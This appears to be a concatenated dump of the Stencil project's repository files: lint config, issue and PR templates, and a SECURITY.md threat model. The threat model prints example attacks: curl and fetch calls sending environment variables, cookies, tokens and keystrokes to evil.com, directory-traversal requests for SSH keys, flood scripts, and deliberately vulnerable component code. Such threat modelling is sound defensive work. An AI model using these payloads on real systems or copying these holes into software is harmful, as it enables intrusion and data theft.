// require that jsdoc attached to a method/function require one `@param` per parameter
'jsdoc/require-param': [
'error',
{
// if `checkStructured` is `true`, it asks that the JSDoc describe the fields being destructured.
// turn this off to not leak function internals/discourage describing them
checkDestructured: false,
// always check setters as they should require a parameter (by definition)
checkSetters: true,
},
],
'jsdoc/require-param-description': ['error'],
// rely on TypeScript types to be the source of truth, minimize verbosity in comments
'jsdoc/require-param-type': ['off'],
'jsdoc/require-returns': ['error'],
'jsdoc/require-returns-check': ['error'],
'jsdoc/require-returns-description': ['error'],
// rely on TypeScript types to be the source of truth, minimize verbosity in comments
'jsdoc/require-returns-type': ['off'],
'no-cond-assign': 'error',
'no-var': 'error',
'prefer-const': 'error',
'prefer-rest-params': 'error',
'prefer-spread': 'error',
'simple-import-sort/exports': 'error',
'simple-import-sort/imports': 'error',
},
overrides: [
{
// the stencil entry point still uses `var`, ignore errors related to it
files: 'bin/**',
rules: {
'no-var': 'off',
},
},
{
// we don't want to use jest-related lint rules in the wdio tests
files: 'test/wdio/**/*.tsx',
rules: {
'jest/expect-expect': 'off',
'wdio/await-expect': 'error',
},
},
],
// inform ESLint about the global variables defined in a Jest context
// see https://github.com/jest-community/eslint-plugin-jest/#usage
env: {
'jest/globals': true,
},
};
================================================
FILE: .gitattributes
================================================
* text=auto eol=lf
================================================
FILE: .github/CODEOWNERS
================================================
* @stenciljs/technical-steering-committee
================================================
FILE: .github/CONTRIBUTING.md
================================================
# Contributing
Thanks for your interest in contributing to Stencil! :tada: We've moved the [Contributing Guidelines](https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md) to the root of the project. :pray:
================================================
FILE: .github/FUNDING.yml
================================================
# These are supported funding model platforms
github: [johnjenkins]
================================================
FILE: .github/ISSUE_TEMPLATE/bug_report.yml
================================================
name: 🐛 Bug Report
description: Create a report to help us improve Stencil
title: 'bug: '
labels: ['triage']
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to fill out this bug report!
Please provide a minimal reproduction using our [Stencil Starter](https://codesandbox.io/p/github/johnjenkins/stencil-starter/).
<details>
<summary>Other starter templates</summary>
- [Stencil + Vitest](https://codesandbox.io/p/github/johnjenkins/stencil-starter-vitest/)
- [Angular](https://codesandbox.io/p/github/johnjenkins/stencil-angular-starter/)
- [NextJs](https://codesandbox.io/p/github/johnjenkins/stencil-starter-next/)
- [React](https://codesandbox.io/p/github/johnjenkins/stencil-starter-react/)
- [Vue](https://codesandbox.io/p/github/johnjenkins/stencil-starter-vue/)
</details>
A minimal reproduction is **required** unless you are absolutely sure the issue is obvious.
If the issue cannot be reliably reproduced, it will be labeled `ionitron: needs reproduction` and may be closed.
- type: checkboxes
attributes:
label: Prerequisites
description: Please ensure you have completed all of the following.
options:
- label: I have read the [Contributing Guidelines](https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md).
required: true
- label: I agree to follow the [Code of Conduct](https://github.com/stenciljs/core/blob/main/CODE_OF_CONDUCT.md).
required: true
- label: I have searched for [existing issues](https://github.com/stenciljs/core/issues) that already report this problem, without success.
required: true
- type: input
attributes:
label: Stencil Version
description: The version number of Stencil where the issue is occurring.
validations:
required: true
- type: textarea
attributes:
label: Current Behavior
description: A clear description of what the bug is and how it manifests.
validations:
required: true
- type: textarea
attributes:
label: Expected Behavior
description: A clear description of what you expected to happen.
validations:
required: true
- type: textarea
attributes:
label: System Info
description: |
Output of `npx stencil info`.
Please provide any additional information, such as npm version, browser(s) & version(s) as well
render: shell
placeholder: System, Environment, Browsers. At minimum, please include `npx stencil info` output.
- type: textarea
attributes:
label: Steps to Reproduce
description: Please explain the steps required to duplicate this issue.
validations:
required: true
- type: input
attributes:
label: Code Reproduction URL
description: |
Please reproduce this issue in a blank Stencil starter application and provide a link to the repo.
Run `npm init stencil@latest` to quickly spin up a Stencil project, or use our [Stencil Starter](https://codesandbox.io/p/github/johnjenkins/stencil-starter/).
This is the best way to ensure this issue is triaged quickly.
Issues that do not include a code reproduction are likely to be closed without any investigation.
placeholder: https://github.com/...
validations:
required: true
- type: textarea
attributes:
label: Additional Information
description: List any other information that is relevant to your issue. Stack traces, related issues, suggestions on how to fix, Stack Overflow links, forum links, etc.
================================================
FILE: .github/ISSUE_TEMPLATE/config.yml
================================================
contact_links:
- name: 📚 Documentation
url: https://github.com/stenciljs/site/issues/new/choose
about: This issue tracker is not for documentation issues. Please file documentation issues on the Stencil site repo.
- name: 💻 Create Stencil CLI
url: https://github.com/ionic-team/create-stencil/issues/new/choose
about: This issue tracker is not for Create Stencil CLI issues. Please file CLI issues on the Create Stencil CLI repo.
- name: 🤔 Support Question
url: https://forum.ionicframework.com/
about: This issue tracker is not for support questions. Please post your question on the Ionic Forums.
================================================
FILE: .github/ISSUE_TEMPLATE/feature_request.yml
================================================
name: 💡 Feature Request
description: Suggest an idea for Stencil
title: 'feat: '
body:
- type: checkboxes
attributes:
label: Prerequisites
description: Please ensure you have completed all of the following.
options:
- label: I have read the [Contributing Guidelines](https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md).
required: true
- label: I agree to follow the [Code of Conduct](https://github.com/stenciljs/core/blob/main/CODE_OF_CONDUCT.md).
required: true
- label: I have searched for [existing issues](https://github.com/stenciljs/core/issues) that already include this feature request, without success.
required: true
- type: textarea
attributes:
label: Describe the Feature Request
description: A clear and concise description of what the feature does.
validations:
required: true
- type: textarea
attributes:
label: Describe the Use Case
description: A clear and concise use case for what problem this feature would solve.
validations:
required: true
- type: textarea
attributes:
label: Describe Preferred Solution
description: A clear and concise description of how you want this feature to be added to Stencil.
- type: textarea
attributes:
label: Describe Alternatives
description: A clear and concise description of any alternative solutions or features you have considered.
- type: textarea
attributes:
label: Related Code
description: If you are able to illustrate the feature request with an example, please provide a sample Stencil component(s). Run `npm init stencil` to quickly spin up a Stencil project.
- type: textarea
attributes:
label: Additional Information
description: List any other information that is relevant to your issue. Stack traces, related issues, suggestions on how to implement, Stack Overflow links, forum links, etc.
================================================
FILE: .github/ISSUE_TEMPLATE.md
================================================
<!--
NOTE:
Before submitting an issue, please consult our docs -> https://stenciljs.com/
-->
**Stencil version:**
<!-- (run `npm list @stencil/core` from a terminal/cmd prompt and paste output below): -->
```
@stencil/core@<version>
```
**Current behavior:**
<!-- Describe how the bug manifests. -->
**Expected behavior:**
<!-- Describe what the behavior would be without the bug. -->
**GitHub Reproduction Link:**
<!-- Please reproduce this issue in a blank Stencil starter application and provide a link to the repo. Run `npm init stencil` to quickly spin up a Stencil project.
This is the best way to ensure this issue is triaged quickly. Issues without a code reproduction may be closed if the Stencil Team cannot reproduce the issue you are reporting. -->
**Other information:**
<!-- List any other information that is relevant to your issue. Stack traces, related issues, suggestions on how to fix, Stack Overflow links, forum links, etc. -->
================================================
FILE: .github/PULL_REQUEST_TEMPLATE.md
================================================
<!-- Please refer to our contributing documentation for any questions on submitting a pull request, or let us know here if you need any help: https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md -->
## What is the current behavior?
<!-- Please describe the current behavior that you are modifying, or link to a relevant issue. -->
GitHub Issue Number: N/A
## What is the new behavior?
<!-- Please describe the behavior or changes that are being added by this PR. -->
## Documentation
<!-- Please add any link(s) to documentation-related pull requests here -->
## Does this introduce a breaking change?
- [ ] Yes
- [ ] No
<!-- If this introduces a breaking change, please describe the impact and migration path for existing applications below. -->
## Testing
<!-- Please describe the steps you took to test the changes in this PR. These steps can be programmatic (e.g. unit tests) and/or manual. -->
## Other information
<!-- Any other information that is important to this PR such as screenshots of how a component looks before and after the change. -->
================================================
FILE: .github/SECURITY.md
================================================
# Stencil Security Policy
This document outlines the security policy and threat model for the Stencil project.
## Reporting a Vulnerability
The Stencil team and community take all security vulnerabilities seriously. If you believe you have found a security vulnerability in Stencil, please report it to us as described below.
**DO NOT report security vulnerabilities through public GitHub issues.**
Please email us at [product.security@outsystems.com](mailto:product.security@outsystems.com) with a description of the vulnerability and steps to reproduce it. You should receive a response within 48 hours. If for some reason you do not, please follow up via the same email to ensure we received your original message.
## Threat Model
This threat model is intended to provide a security overview of the Stencil project. It is broken down into the following sections:
1. Feature Breakdown
2. Threat Identification
3. Threat Prioritization
4. Threat Mitigation
### 1. Feature Breakdown
Stencil is a compiler that generates Web Components and builds high-performance web applications. Its architecture can be broken down into the following core components:
* **Stencil Compiler**: A toolchain that runs in a Node.js environment (typically on a developer machine or a CI/CD server). It transpiles TypeScript/JSX, optimizes components, and bundles them for production. It reads a `stencil.config.ts` file for configuration and has access to the file system.
* **Dev Server**: A local web server for development. It serves the application, provides hot-module-reloading (HMR), and communicates with the client-side runtime over a WebSocket connection.
* **Client-side Runtime**: A small piece of JavaScript code that is shipped with every Stencil application. It runs in the end-user's browser and manages component lifecycle, rendering, and event handling.
* **Server-Side Rendering (Hydrate)**: A system that runs on a Node.js server to pre-render Stencil components into static HTML. This is often used for performance and SEO purposes.
* **Command Line Interface (CLI)**: The primary tool for developers to interact with Stencil, used for creating projects, building them, running tests, and more.
### 2. Threat Identification
We use the STRIDE model to identify potential security threats for each component, with DREAD scoring for risk assessment.
#### Compiler
**Threat #1: Arbitrary code execution via malicious configuration or plugins**
- **Category**: Elevation of Privilege
- **Description**: Arbitrary code execution through malicious `stencil.config.ts` files, plugins, or compromised dependencies. Since Stencil configuration files are executed as TypeScript/JavaScript during the build process, they have full access to the Node.js environment and can perform any operation the build user can perform. This includes file system access, network requests, spawning processes, and accessing environment variables.
**Attack Scenarios:**
1. **Malicious configuration**: Developer downloads a project template with a compromised `stencil.config.ts`
2. **Supply chain attack**: A legitimate plugin is compromised and pushes malicious code
3. **Dependency confusion**: Attacker publishes a malicious package with a similar name to a legitimate plugin
4. **Social engineering**: Attacker convinces developer to install a "helpful" plugin that contains malicious code
**Example Vulnerable Configuration:**
```typescript
// stencil.config.ts - MALICIOUS
export const config: Config = {
outputTargets: [{
type: 'www',
serviceWorker: null
}],
// Malicious code disguised as configuration
plugins: [
{
name: 'innocent-looking-plugin',
configResolved() {
// Exfiltrate environment variables
require('child_process').exec('curl -X POST https://evil.com/steal -d "$(env)"');
// Install backdoor
require('fs').writeFileSync('/tmp/backdoor.sh', '#!/bin/bash\n# backdoor code');
}
}
]
};
```
**Real-world Impact:**
- **2020**: SolarWinds supply chain attack affected 18,000+ organizations
- **2021**: UA-Parser-JS npm package was compromised, affecting millions of downloads
- Build-time code execution can lead to complete compromise of CI/CD pipelines and deployment infrastructure
| Score | Rationale |
|-------|-----------|
| **Damage** | 10 | Complete compromise of developer machine, potential supply chain attack affecting all users of the compiled application |
| **Reproducibility** | 10 | Easy to reproduce by creating malicious config or plugin |
| **Exploitability** | 5 | Requires social engineering to get developer to use malicious config/plugin |
| **Affected Users** | 10 | All users of applications built with compromised toolchain |
| **Discoverability** | 8 | Configuration files are easily inspectable |
**DREAD Score: 43/50 - CRITICAL**
**Threat #2: Information disclosure of environment variables**
- **Category**: Information Disclosure
- **Description**: Leaking environment variables or build-time secrets into the bundle. This occurs when developers inadvertently expose sensitive data such as API keys, database credentials, authentication tokens, or internal service URLs by including them in environment variables that get bundled into the client-side JavaScript. Unlike server-side code, client-side bundles are publicly accessible and can be inspected by anyone, making any embedded secrets immediately visible to attackers.
**Attack Scenarios:**
1. **Direct environment variable exposure**: Developer accidentally references `process.env.DATABASE_PASSWORD` in component code
2. **Configuration file leakage**: Sensitive values from `stencil.config.ts` being included in the bundle
3. **Build script injection**: CI/CD environment variables containing secrets being inadvertently bundled
4. **Third-party plugin exposure**: Malicious or poorly configured plugins accessing and bundling environment variables
**Example Vulnerable Code:**
```typescript
// In a Stencil component - VULNERABLE
@Component({
tag: 'api-client'
})
export class ApiClient {
private apiKey = process.env.API_SECRET_KEY; // This gets bundled!
private dbUrl = process.env.DATABASE_URL; // This too!
async fetchData() {
return fetch(`https://api.example.com/data?key=${this.apiKey}`);
}
}
```
**Example Attack:**
An attacker can simply:
1. Visit the application in a browser
2. Open developer tools and inspect the JavaScript bundle
3. Search for common patterns like "process.env", "API_KEY", "SECRET", etc.
4. Extract the exposed credentials and use them to access backend services
**Real-world Impact:**
- **2019**: GitHub reported that over 100,000 repositories contained exposed API keys
- **2021**: A major e-commerce platform was breached after AWS credentials were found in their client-side bundles
- Exposed database credentials can lead to complete data breaches affecting millions of users
| Score | Rationale |
|-------|-----------|
| **Damage** | 8 | Sensitive data like API keys could be exposed in client-side bundles |
| **Reproducibility** | 10 | Easy to reproduce by misconfiguring environment variable exposure |
| **Exploitability** | 10 | No special tools required, just inspect the bundle |
| **Affected Users** | 10 | All end users of the application can access leaked secrets |
| **Discoverability** | 10 | Bundle contents are publicly accessible |
**DREAD Score: 48/50 - CRITICAL**
**Threat #3: Denial of service via malformed input**
- **Category**: Denial of Service
- **Description**: Malformed input files causing the Stencil compiler to crash, hang, or consume excessive resources during the build process. This can occur through crafted TypeScript/JSX files, CSS files, or assets that exploit parsing vulnerabilities or trigger resource-intensive operations.
**Attack Scenarios:**
1. **Deeply nested JSX**: Extremely nested component structures causing stack overflow
2. **Circular dependencies**: Components with circular imports causing infinite loops
3. **Large file attacks**: Massive files designed to exhaust memory or disk space
4. **Malformed syntax**: Invalid TypeScript/JSX that crashes the parser
**Example Vulnerable Input:**
```typescript
// Deeply nested JSX causing stack overflow
const DeepComponent = () => (
<div>
<div>
<div>
{/* ... thousands of nested divs ... */}
<div>Content</div>
{/* ... thousands of nested divs ... */}
</div>
</div>
</div>
);
// Circular dependency causing infinite loop
// file1.tsx
import { Component2 } from './file2';
export const Component1 = () => <Component2 />;
// file2.tsx
import { Component1 } from './file1';
export const Component2 = () => <Component1 />;
```
**Impact:**
- Development workflow disruption
- CI/CD pipeline failures
- Resource exhaustion on build servers
| Score | Rationale |
|-------|-----------|
| **Damage** | 5 | Build process fails, development workflow disrupted |
| **Reproducibility** | 8 | Can be reproduced with specific malformed input |
| **Exploitability** | 5 | Requires crafting specific malformed input |
| **Affected Users** | 2.5 | Only affects individual developer |
| **Discoverability** | 8 | Error conditions are often visible in build logs |
**DREAD Score: 28.5/50 - HIGH**
#### Dev Server
**Threat #4: Directory traversal attack**
- **Category**: Information Disclosure
- **Description**: Directory traversal attacks that exploit insufficient path validation in the dev server to access files outside the project root directory. Attackers can use path traversal sequences (../) to navigate up the directory tree and access sensitive files on the developer's machine, including system configuration files, SSH keys, environment files, and other projects.
**Attack Scenarios:**
1. **System file access**: Reading `/etc/passwd`, `/etc/shadow`, or Windows system files
2. **SSH key theft**: Accessing `~/.ssh/id_rsa` or other private keys
3. **Environment file exposure**: Reading `.env` files from other projects
4. **Source code theft**: Accessing source code from other projects on the same machine
**Example Attack:**
```bash
# Attacker crafts malicious URLs to access sensitive files
curl "http://localhost:3333/../../etc/passwd"
curl "http://localhost:3333/../../../home/user/.ssh/id_rsa"
curl "http://localhost:3333/../../../../var/log/auth.log"
# Or via browser
http://localhost:3333/../../etc/hosts
http://localhost:3333/../../../Users/developer/.aws/credentials
```
**Vulnerable Code Pattern:**
```typescript
// Simplified example of vulnerable path handling
function serveFile(url: string) {
const filePath = path.join(rootDir, url); // VULNERABLE - no validation
return fs.readFileSync(filePath);
}
```
**Real-world Impact:**
- **2018**: Numerous Node.js development servers found vulnerable to directory traversal
- Can lead to complete compromise of developer machines and access to multiple projects
- Particularly dangerous in shared development environments
| Score | Rationale |
|-------|-----------|
| **Damage** | 10 | Can read arbitrary files on developer's machine including sensitive data |
| **Reproducibility** | 10 | Easy to reproduce with crafted URLs |
| **Exploitability** | 10 | Simple HTTP requests, no special tools needed |
| **Affected Users** | 2.5 | Individual developer affected |
| **Discoverability** | 10 | Dev server endpoints are easily discoverable |
**DREAD Score: 42.5/50 - CRITICAL**
**Threat #5: Malicious WebSocket connection**
- **Category**: Spoofing
- **Description**: Malicious websites connecting to the Stencil dev server's WebSocket endpoint used for Hot Module Reloading (HMR) to inject malicious code or extract development information. The dev server typically accepts WebSocket connections without proper origin validation, allowing any website the developer visits to potentially connect and manipulate the development environment.
**Attack Scenarios:**
1. **Code injection via HMR**: Malicious site sends fake HMR updates containing malicious JavaScript
2. **Development environment reconnaissance**: Extracting project structure, file paths, and source code
3. **Cross-origin data theft**: Accessing development data through WebSocket messages
4. **Development workflow manipulation**: Interfering with legitimate HMR updates
**Example Attack:**
```html
<!-- Malicious website visited by developer -->
<script>
// Connect to developer's Stencil dev server
const ws = new WebSocket('ws://localhost:3333');
ws.onopen = () => {
// Inject malicious code via fake HMR update
ws.send(JSON.stringify({
type: 'hmr-update',
path: '/src/components/my-component.tsx',
content: `
// Original component code...
// Malicious addition
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: localStorage,
sessionStorage: sessionStorage
})
});
`
}));
};
// Extract development information
ws.onmessage = (event) => {
// Send development data to attacker
fetch('https://evil.com/dev-data', {
method: 'POST',
body: event.data
});
};
</script>
```
**Impact:**
- Compromise of development environment
- Theft of proprietary source code
- Injection of malicious code into development builds
| Score | Rationale |
|-------|-----------|
| **Damage** | 8 | Could inject malicious code via HMR, compromise development environment |
| **Reproducibility** | 7.5 | Requires developer to visit malicious site while dev server is running |
| **Exploitability** | 5 | Requires creating malicious website and social engineering |
| **Affected Users** | 2.5 | Individual developer affected |
| **Discoverability** | 9 | WebSocket endpoints are predictable |
**DREAD Score: 32/50 - HIGH**
**Threat #6: Resource exhaustion**
- **Category**: Denial of Service
- **Description**: Resource exhaustion attacks targeting the Stencil dev server through excessive HTTP requests, WebSocket connections, or resource-intensive operations. Since dev servers typically lack production-grade rate limiting and resource management, they can be easily overwhelmed by automated attacks or even accidental excessive requests.
**Attack Scenarios:**
1. **HTTP flood**: Overwhelming the server with rapid HTTP requests
2. **WebSocket exhaustion**: Opening numerous WebSocket connections to exhaust memory
3. **Large file requests**: Requesting large assets repeatedly to exhaust bandwidth/memory
4. **Concurrent build triggers**: Triggering multiple simultaneous rebuilds
**Example Attack:**
```bash
# Simple HTTP flood attack
for i in {1..10000}; do
curl "http://localhost:3333/" &
done
# WebSocket connection exhaustion
node -e "
for(let i=0; i<1000; i++) {
new require('ws')('ws://localhost:3333');
}
"
# Large file request loop
while true; do
curl "http://localhost:3333/large-video-file.mp4" &
done
```
**Automated Attack Script:**
```python
import asyncio
import aiohttp
async def flood_attack():
connector = aiohttp.TCPConnector(limit=1000)
async with aiohttp.ClientSession(connector=connector) as session:
tasks = []
for i in range(10000):
task = session.get('http://localhost:3333/')
tasks.append(task)
await asyncio.gather(*tasks, return_exceptions=True)
asyncio.run(flood_attack())
```
**Impact:**
- Dev server becomes unresponsive
- Development workflow completely disrupted
- Can affect entire local network if server binds to 0.0.0.0
| Score | Rationale |
|-------|-----------|
| **Damage** | 5 | Dev server becomes unresponsive, development workflow disrupted |
| **Reproducibility** | 10 | Easy to reproduce with automated requests |
| **Exploitability** | 10 | Simple HTTP flood attack |
| **Affected Users** | 2.5 | Individual developer affected |
| **Discoverability** | 10 | Dev server is easily discoverable on local network |
**DREAD Score: 37.5/50 - HIGH**
#### Client-side Runtime
**Threat #7: Cross-Site Scripting (XSS)**
- **Category**: Tampering
- **Description**: Cross-Site Scripting attacks that exploit insufficient input sanitization in Stencil components to inject and execute malicious JavaScript in users' browsers. While Stencil provides some built-in XSS protection through JSX's automatic escaping, developers can still introduce vulnerabilities through unsafe practices like using `innerHTML` with untrusted data or improper handling of user inputs.
**Attack Scenarios:**
1. **Stored XSS**: Malicious scripts stored in database and rendered by components
2. **Reflected XSS**: Malicious scripts in URL parameters reflected in component output
3. **DOM-based XSS**: Client-side JavaScript manipulation of DOM with untrusted data
4. **Component prop injection**: Malicious data passed through component properties
**Example Vulnerable Code:**
```typescript
@Component({
tag: 'user-profile'
})
export class UserProfile {
@Prop() userBio: string;
@Prop() userName: string;
render() {
return (
<div>
{/* VULNERABLE - innerHTML with untrusted data */}
<div innerHTML={this.userBio}></div>
{/* VULNERABLE - URL parameter directly rendered */}
<h1>Welcome {new URLSearchParams(location.search).get('name')}</h1>
{/* VULNERABLE - Dynamic script execution */}
<script>{`var user = "${this.userName}";`}</script>
</div>
);
}
}
```
**Example Attack Payloads:**
```html
<!-- Stored in user bio field -->
<img src="x" onerror="fetch('https://evil.com/steal?cookies='+document.cookie)" />
<!-- In URL parameter -->
https://app.com/profile?name=<script>alert('XSS')</script>
<!-- In component property -->
<user-profile user-name='"; fetch("https://evil.com/steal", {method: "POST", body: localStorage.getItem("authToken")}); //'></user-profile>
```
**Attack Impact:**
- Session hijacking through cookie theft
- Account takeover via stolen authentication tokens
- Defacement of web applications
- Phishing attacks through injected content
- Cryptocurrency mining scripts
| Score | Rationale |
|-------|-----------|
| **Damage** | 10 | Full compromise of user session, data theft, account takeover |
| **Reproducibility** | 8 | Depends on application's input validation |
| **Exploitability** | 9 | Well-known attack vectors, many tools available |
| **Affected Users** | 10 | All end users of the application |
| **Discoverability** | 9 | Input fields and dynamic content are easily identifiable |
**DREAD Score: 46/50 - CRITICAL**
**Threat #8: Information disclosure via component state**
- **Category**: Information Disclosure
- **Description**: Sensitive information being exposed through component props, state, or internal data structures that can be accessed via browser developer tools or client-side inspection. Stencil components run in the browser where all JavaScript is accessible to users, making any sensitive data stored in component memory visible to attackers.
**Attack Scenarios:**
1. **Developer tools inspection**: Using browser dev tools to examine component state
2. **Component debugging**: Accessing component instances through global variables
3. **Memory dump analysis**: Using browser memory profiling to extract sensitive data
4. **Event listener exploitation**: Triggering debug events that expose internal state
**Example Vulnerable Code:**
```typescript
@Component({
tag: 'payment-form'
})
export class PaymentForm {
@State() creditCardNumber: string;
@State() cvv: string;
@State() apiKey: string = 'sk_live_abc123'; // VULNERABLE - API key in state
@State() internalUserData = {
ssn: '123-45-6789', // VULNERABLE - SSN in state
salary: 75000, // VULNERABLE - sensitive PII
role: 'admin' // VULNERABLE - privilege info
};
// VULNERABLE - Debug method exposing sensitive data
@Method()
async debugInfo() {
return {
creditCard: this.creditCardNumber,
cvv: this.cvv,
apiKey: this.apiKey,
userData: this.internalUserData
};
}
render() {
return (
<div>
<input
value={this.creditCardNumber}
onInput={(e) => this.creditCardNumber = e.target.value}
/>
{/* VULNERABLE - Sensitive data in DOM attributes */}
<div data-api-key={this.apiKey}>Payment processing...</div>
</div>
);
}
}
```
**Example Attack:**
```javascript
// In browser console - accessing component state
const paymentComponent = document.querySelector('payment-form');
// Direct state access (if exposed)
console.log(paymentComponent.creditCardNumber);
console.log(paymentComponent.apiKey);
// Method invocation
paymentComponent.debugInfo().then(data => {
console.log('Stolen data:', data);
// Send to attacker's server
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
// Component inspection via dev tools
console.log('%c Component State Inspector', 'color: red; font-size: 20px');
Object.getOwnPropertyNames(paymentComponent).forEach(prop => {
console.log(prop, ':', paymentComponent[prop]);
});
```
**Real-world Impact:**
- Credit card and payment information theft
- Personal Identifiable Information (PII) exposure
- API key and authentication token theft
- Business logic and internal data structure exposure
| Score | Rationale |
|-------|-----------|
| **Damage** | 8 | Sensitive user data or application secrets could be exposed |
| **Reproducibility** | 5 | Depends on specific component implementation |
| **Exploitability** | 9 | Browser dev tools make component inspection easy |
| **Affected Users** | 6 | Users of specific components |
| **Discoverability** | 10 | Component state is visible in browser dev tools |
**DREAD Score: 38/50 - HIGH**
**Threat #9: Client-side denial of service**
- **Category**: Denial of Service
- **Description**: Malicious or poorly written component code that causes excessive CPU usage, memory consumption, or infinite loops, leading to browser freezing or crashes. This can be triggered through crafted user inputs, malicious component properties, or exploitation of inefficient algorithms in component logic.
**Attack Scenarios:**
1. **Infinite render loops**: Components that trigger continuous re-renders
2. **Memory exhaustion**: Creating excessive DOM elements or objects
3. **CPU-intensive operations**: Computationally expensive operations in render methods
4. **Recursive component calls**: Components that call themselves infinitely
**Example Vulnerable Code:**
```typescript
@Component({
tag: 'vulnerable-list'
})
export class VulnerableList {
@Prop() items: string[] = [];
@State() processedItems: any[] = [];
componentWillLoad() {
// VULNERABLE - Infinite loop with malicious input
this.processItems();
}
processItems() {
// VULNERABLE - No bounds checking
while (this.items.length > 0) {
// Process logic that never reduces items.length
this.processedItems.push(this.items[0]);
// Missing: this.items.shift();
}
}
render() {
return (
<div>
{/* VULNERABLE - Rendering potentially massive arrays */}
{this.items.map((item, index) =>
// VULNERABLE - Recursive component rendering
<vulnerable-list items={[item, item, item]}></vulnerable-list>
)}
{/* VULNERABLE - Memory exhaustion through massive DOM */}
{Array(1000000).fill(0).map((_, i) =>
<div key={i}>Heavy DOM element {i}</div>
)}
</div>
);
}
@Listen('click')
handleClick() {
// VULNERABLE - CPU-intensive operation on every click
for (let i = 0; i < 10000000; i++) {
Math.sqrt(Math.random() * 1000000);
}
}
}
```
**Example Attack:**
```html
<!-- Trigger DoS via component properties -->
<vulnerable-list items='["a","b","c","d","e","f","g","h","i","j"]'></vulnerable-list>
<script>
// Programmatic DoS attack
const list = document.querySelector('vulnerable-list');
// Trigger infinite loop
list.items = ['malicious', 'payload'];
// Memory exhaustion attack
list.items = new Array(1000000).fill('heavy-data');
// CPU exhaustion through events
setInterval(() => {
list.click();
}, 1);
</script>
```
**Attack Vectors:**
- Malicious URL parameters that trigger vulnerable component logic
- Form inputs designed to cause infinite processing
- WebSocket messages containing DoS payloads
- Social engineering to get users to visit malicious pages
**Impact:**
- Browser becomes unresponsive or crashes
- Complete denial of service for legitimate users
- Mobile devices may experience battery drain or overheating
- Can affect entire browser session, not just the single tab
| Score | Rationale |
|-------|-----------|
| **Damage** | 5 | Browser becomes unresponsive, poor user experience |
| **Reproducibility** | 8 | Reproducible with specific component interactions |
| **Exploitability** | 5 | Requires understanding of component behavior |
| **Affected Users** | 10 | All users of the application |
| **Discoverability** | 8 | Performance issues are noticeable during testing |
**DREAD Score: 36/50 - HIGH**
#### Server-Side Rendering
**Threat #10: XSS in SSR output**
- **Category**: Tampering
- **Description**: Cross-Site Scripting vulnerabilities in Server-Side Rendered (SSR) HTML output where malicious scripts are injected during the pre-rendering process and served to all users. This is particularly dangerous because the malicious content is generated on the trusted server and served as static HTML, making it appear legitimate and bypassing some client-side XSS protections.
**Attack Scenarios:**
1. **Database poisoning**: Malicious scripts stored in backend database and rendered during SSR
2. **API data injection**: External APIs returning malicious payloads that get SSR rendered
3. **Template injection**: Exploiting server-side template processing to inject scripts
4. **Build-time injection**: Malicious content introduced during the SSR build process
**Example Vulnerable SSR Code:**
```typescript
// Server-side rendering component
@Component({
tag: 'blog-post'
})
export class BlogPost {
@Prop() title: string;
@Prop() content: string;
@Prop() authorBio: string;
render() {
return (
<article>
{/* VULNERABLE - Title from database not sanitized */}
<h1 innerHTML={this.title}></h1>
{/* VULNERABLE - User-generated content in SSR */}
<div innerHTML={this.content}></div>
{/* VULNERABLE - Author bio with HTML injection */}
<footer innerHTML={this.authorBio}></footer>
{/* VULNERABLE - Direct template injection */}
<script>{`window.postData = ${JSON.stringify({
title: this.title, // Can break out of JSON context
author: this.authorBio // Unescaped content
})};`}</script>
</article>
);
}
}
// SSR rendering process
export async function renderBlogPost(postId: string) {
// VULNERABLE - No sanitization of database content
const post = await database.getPost(postId);
return renderToString(
<blog-post
title={post.title} // Malicious content from DB
content={post.content} // User-generated content
author-bio={post.authorBio} // Untrusted author data
/>
);
}
```
**Example Attack Payloads:**
```html
<!-- Stored in database title field -->
<script>
// Steal authentication cookies
fetch('https://evil.com/steal', {
method: 'POST',
body: 'cookies=' + document.cookie
});
</script>
<!-- In blog post content -->
<img src="x" onerror="
// Keylogger injection
document.addEventListener('keypress', (e) => {
fetch('https://evil.com/keylog', {
method: 'POST',
body: e.key
});
});
" />
<!-- JSON context breakout in authorBio -->
"; fetch('https://evil.com/steal?data=' + btoa(JSON.stringify(window.localStorage))); //
```
**SSR-Specific Attack Characteristics:**
- **Persistent**: Affects all users visiting the pre-rendered page
- **Trusted context**: Appears as legitimate server-generated content
- **Cache amplification**: Malicious content gets cached by CDNs and browsers
- **SEO poisoning**: Search engines may index malicious content
**Real-world Impact:**
- **2019**: Major e-commerce platform had XSS in SSR product pages affecting thousands of customers
- **2020**: News website's SSR commenting system was exploited to inject cryptocurrency miners
- Can lead to mass account compromise and large-scale data theft
| Score | Rationale |
|-------|-----------|
| **Damage** | 10 | XSS in SSR affects all users receiving the pre-rendered content |
| **Reproducibility** | 8 | Depends on server-side input validation |
| **Exploitability** | 9 | Similar to client-side XSS but potentially more impactful |
| **Affected Users** | 10 | All users receiving SSR content |
| **Discoverability** | 9 | SSR output can be inspected in page source |
**DREAD Score: 46/50 - CRITICAL**
**Threat #11: Server-side information disclosure**
- **Category**: Information Disclosure
- **Description**: Sensitive server-side information being exposed in the SSR output, including database connection strings, API keys, internal error messages, file paths, environment variables, and other confidential data that should remain server-side only. This occurs when server-side rendering processes fail to properly sanitize or filter data before including it in the HTML response.
**Attack Scenarios:**
1. **Error message leakage**: Detailed error messages containing system information
2. **Environment variable exposure**: Server environment data included in rendered output
3. **Database information disclosure**: Connection strings or query details in output
4. **Internal API exposure**: Internal service URLs and endpoints revealed
5. **Source code leakage**: Server-side code or comments included in HTML
**Example Vulnerable SSR Code:**
```typescript
// Server-side component with information disclosure
@Component({
tag: 'dashboard'
})
export class Dashboard {
@Prop() userData: any;
@State() debugInfo: any;
async componentWillLoad() {
try {
// VULNERABLE - Including sensitive server data
this.debugInfo = {
dbConnection: process.env.DATABASE_URL, // LEAKED
apiKeys: process.env.STRIPE_SECRET_KEY, // LEAKED
internalServices: process.env.INTERNAL_API_URLS, // LEAKED
serverPath: __dirname, // LEAKED
nodeVersion: process.version // LEAKED
};
this.userData = await this.fetchUserData();
} catch (error) {
// VULNERABLE - Detailed error in production
this.debugInfo.error = {
stack: error.stack, // LEAKED - shows file paths
query: error.query, // LEAKED - database queries
connectionString: error.connectionString // LEAKED
};
}
}
